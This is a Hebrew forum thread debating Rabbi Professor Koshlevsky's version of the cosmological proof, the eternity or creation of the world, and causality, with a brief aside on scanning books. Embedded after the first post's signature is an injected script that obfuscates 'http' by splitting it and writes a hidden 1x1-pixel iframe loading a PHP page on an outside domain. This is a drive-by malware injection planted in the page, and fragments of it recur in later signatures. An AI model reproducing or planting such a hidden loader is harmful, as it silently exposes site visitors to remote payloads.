| נשלח ב-20/11/2010 20:20 |
 |
| |
ההוכחה הקוסמולוגית של פרופסור הרב קושלבסקי
מבוא: האיש פרופסור הרב אברהם פנחס קושלבסקי היה בנו של רב ועילוי מצד עצמו, והוא דוגמא ומופת לשילוב של תורה עם דרך ארץ בשיטת הרש"ר הירש. נולד בתשיג באמריקה, עלה לארץ בגיל תשע, סיים בגרות בירושלים בגיל 16 (!), למד בחברון ירושלים וסלבודקה בני ברק. למד פיזיקה במנצ'סטר וסיים את הדוקטורט בשנת תשל"א. הוא חזר לישראל, והצטרף לפקולטה להנדסה גרעינית באוניברסיטת באר שבע. נראה שתרם הרבה לפיתוח הכור האטומי והמסתעף בישראל, אך מי שיודע (ואני לא) שותק. נפטר בגיל 53 מסרטן, כנראה עקב עבודתו בתחום הקרינה. כמה מכתביו הוצאו לאור בידי משפחתו. יש לו מדריך ללימוד, ואם אמצאנו אסכמנו בל"נ. הספרון שממנו אני מצטט כרגע הוא "מפגשים בין יהדות מדע וטכנולוגיה לפי יג עיקרי הרמב"ם". למרבה הצער, הספר אינו זה שעבד עליו, כי המשפחה מספרת שהמחשב האישי שלו היה נעול ולא הצליחו להגיע לחומר שבו. מה שיש לפנינו הוא גרסה שהכין אבל לא כל מה שהיה לו לכתוב. בכך יש להסביר כמה אי דיוקים בלשון המעטה בכתיבתו על הרמב"ם (או שהיה בכל זאת תמים ולא ביקורתי די הצורך מבחינה היסטורית ומבחינות אחרות?)
מה שנותר הוא עדיין פירוש מעניין לעתים לדברי הרמב"ם. אחת הנקודות המעניינות ביותר היא נסיונו של הפיזיקאי לשחזר את ההוכחה למציאות אלקים הידועה בשמה הטכני "ההוכחה הקוסמולוגית".
__נוסף תואר "הרב" כהערת ספרן_______________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
תוקן על ידי עצכח ב- 20/11/2010 21:27:50
 |
|
|
|
|
| נשלח ב-3/1/2011 10:04 |
|
| |
מיימוני:
צריך לדעת איך,
ויש אפשרות לחתוך את הצד הכריכה,ואת כל הבחילת דפים של הספר להכניס למכונת צילום שהיא גם סורק וזה רץ אוטומטית
|
|
|
|
| נשלח ב-3/1/2011 07:58 |
|
| |
זה נידון צדדי לגמרי, אבל הוא מעניין. כוונתך שלקחת את הספר (אני מבין שהוא תורגם לעברית) ושמת דף דף וסרקת? אני משער שזה לוקח הרבה זמן. זמן הסריקה וזמן הפיכת הדפים וזמן המיקום על הסורק, וחוזר חלילה. אני כותב מנסיון של מצלם מאמרים ותיק. וסריקה נראית איטית יותר מצילום. ועוד, צריך אחר כך לאסוף את כל הקבצים הבודדים של דף דף ולארגן לספר אחד גדול.
מדוע אני שואל? כי יש הרבה ספרים שרציתי לסרוק אבל נראה היה לי שהמלאכה מרובה ואיטית מאד. (יש גם בעיה של זכויות יוצרים, אבל לשימוש פרטי אי אפשר למחות, כוונתי של הסורק עבור עצמו).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-3/1/2011 01:18 |
|
| |
מה פשט איך? בסורק.
או שמא שאלתך היא בנוגע לזכויות יוצרים?
|
|
|
|
| נשלח ב-3/1/2011 01:14 |
|
| |
ניק בלי ראש
יש לי שאלה.
איך סרקת את הסיפור היפה הזה של אסימוב?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-22/11/2010 13:46 |
|
| |
| יונתן_ניר כתב: |  | שותף
אני חושב שלא הבנת אותי, לא אמרתי שא"א למצוא סיבה בתוך העולם, אלא שאין צורך בסיבה, כמו שלפי ההנחה שהעולם קדמון אין צורך בסיבה, |
|
שנינו מסכימים שאפשר למצוא סיבה בתוך העולם, אתה טוען שאין בזה צורך, לי נראה שזה דווקא יעיל למצוא סיבה מרכזית בתוך העולם אשר כולו סובב עליה (וגם יש לי סיבה כזו).
סיבה לעולם עצמו לא תימצא אף פעם בתוכו, אלא רק מחוצה לו, ואליה אפשר להגיע רק בנבואה.
|
|
|
|
| נשלח ב-22/11/2010 13:03 |
|
| |
שותף
אני חושב שלא הבנת אותי, לא אמרתי שא"א למצוא סיבה בתוך העולם, אלא שאין צורך בסיבה, כמו שלפי ההנחה שהעולם קדמון אין צורך בסיבה,
|
|
|
|
|
| נשלח ב-22/11/2010 12:58 |
|
| |
| יונתן_ניר כתב: | | אז אתה מסכים, שבהסתכלות מדעית אין צורך בסיבה לקיום העולם?
|
|
בהסתכלות על העולם "מבפנים" (שהיא הדרך היחידה הפתוחה בפני המדענים) לא תימצא לעולם סיבה לקיום העולם, שהרי כל סיבה כזו (אם ישנה) חייבת להיות מחוץ לגבולותיו, ולשם הרי אין גישה (אם לא ע"י נבואה). המדע יכול לנסות ולהבין את התהליכים הנוהגים לאחר שהעולם קיים אבל הוא לא שייך כלל לתהליכים שבו עצמו נוצר (אם בכלל).
|
|
|
|
| נשלח ב-22/11/2010 12:47 |
|
| |
שותף
אז אתה מסכים, שבהסתכלות מדעית אין צורך בסיבה לקיום העולם?
תוקן על ידי יונתן_ניר ב- 22/11/2010 12:54:35
|
|
|
|
| נשלח ב-22/11/2010 12:41 |
|
| |
| יונתן_ניר כתב: | | | במחשבה ובמילים אחרות גם אם העולם הוא מחודש הוא רק ביחס לעצמו, אבל בעצם הוא תמיד קדמון כי אין זמן קודם שבו היקום לא היה.
|
|
היות והזמן נברא עם העולם הרי שביחס אליו הוא היה תמיד (כי הרי לא היתה נקודה ב"זמן העולם" שהוא עצמו לא היה בו). העולם מחודש (עם זמנו) ביחס למה שנמצא מחוצה לו, בין אם זה עולם עליון יותר (עם מימדי זמן ומרחב שלו) ובין ביחס למאציל האינסופי.
לכן כל הסתכלות מדעית על העולם מיניה וביה תוביל למסקנה שהוא קדמון. רק הסתכלות נבואית (מחוצה לו) תגלה שהוא מחודש.
|
|
|
|
| נשלח ב-22/11/2010 12:23 |
|
| |
במחשבה שנייה אני בעצם לא מבין מה ההבדל בין ההנחה שהעולם הוא קדמון וקיים מספר אינסופי של שנים, לבין אם יש לו נקודת התחלה בזמן, - לגבי הצורך בסיבה לקיום העולם, ואסביר את עצמי.
הרי הזמן הינו חלק מחוקיות המערכת הפיזיקאלית שאנו מכירים, אבל אין שום משמעות למושג זמן בהעדר מערכת פיזיקאלית,
ועוד, הרי לכאורה לפי האמונה הבורא ברא גם את הזמן, זאת אומרת שעצם מציאות מושג הזמן גם התחיל באיזושהי נקודת זמן,
א"כ יוצא שלעולם אין לדון על היקום כמשהו שהופיע בזמן מסוים ביחס למשהו אחר ואז לשאול מה הסיבה שהיקום התחיל להתקיים, היות והזמן הופיע ביחד עם היקום, ולא שייך לדון על הזמן שלפני היקום היות ואין כזאת מציאות,
ובמילים אחרות גם אם העולם הוא מחודש הוא רק ביחס לעצמו, אבל בעצם הוא תמיד קדמון כי אין זמן קודם שבו היקום לא היה.
מה אתם אומרים?
|
|
|
|
| נשלח ב-21/11/2010 23:25 |
|
| |
[ לדון קיחוט תראה ,אין לי עניין בויכוחי סרק , לא נראה לי שהבנת את מה שכתבתי ואתה משום מה מתעקש לייחס לדברי פרשנות מופרכת. אני מאחל לך המשך דרך צלחה. ]
בכולופן אחזור לענייני באשר למה בולצמן כתב , לא דייקתי למעלה בתיאור דבריו. מסתבר שההצעה של בולצמן מתייחסת ישירות ל"סתירה" שבין משפט הנשנות של פואנקרה לחוק השני. תיאור פתרונו של בולצמן , מופיע בעמוד ה-11 של המאמר שלינקקתי אליו בהודעתי האחרונה. הקובץ הוא קובץ תמונה לכן איני מצליח להעתיק לכאן . מדובר בפיסקה אחת . אני ממליץ למי שמתעניין לקרוא את זה שם , אין צורך בידע כלשהו בכדי להבינו. משם יובן גם כיצד זה פותר את הקושי עם הנחת הקדמות .
תוקן על ידי ידעיהבדרשי ב- 21/11/2010 23:31:06
|
|
|
|
| נשלח ב-21/11/2010 23:24 |
|
| |
לאחר שמוסכם שהעולם אינו קדמון, וכי הוא התחיל באיזושהי נקודת זמן, נשאלת השאלה מה גרם לתחילת קיומו של העולם, בסיס השאלה היא כמובן כתוצאה מהנחת הסיבתיות, וא"כ יש צורך לנתח את ההנחה הזו, 1. סיבתיות מוכרחת להתקיים תמיד ואינה קשורה דווקא למערכת הפיזיקלית שלנו אלא מוכרחת מושגית בכל מערכת אפשרית 2. הסבתיות היא חלק מהחוקים הפיזיקליים במערכת הפזיקלית שלנו, אבל היא אינה הכרח מושגי. את טיעון 1. אפשר לדחות היות ומוכרח להיות סיבה ראשונה שאין סיבה קודמת לה, אם כך מוכרח להתקיים מושגית אפשרות א סיבתית, [אלא"כ קיימים אינסוף סיבות, מה שנראה לי מופרך] נשארנו עם האופציה השנייה, והיא שהסבתיות היא מוכרחת במערכת הפיזיקלית שלנו, אבל במערכות אחרות, אם הן קיימות, היא לא מוכרחת להתקיים, כתוצאה מאיזושהי הכרח מושגי, א"כ בנוגע לסיבת תחילת קיום העולם אנו לא דנים על חוקי המערכת הפיזיקלית הקיימת, ולעולם התשובה לא תהיה על פי חוקי המערכת שדנים עליה, היות ואנו דנים על היווצרות אותה מערכת, וזוהי נקודת הסינגולאריות, א"כ גם לגבי הסיבתיות, א"א להשליך ממה שהיא מוכרחת במערכת הקיימת, לכך שהיא מוכרחת בהיווצרות המערכת.
|
|
|
|
|
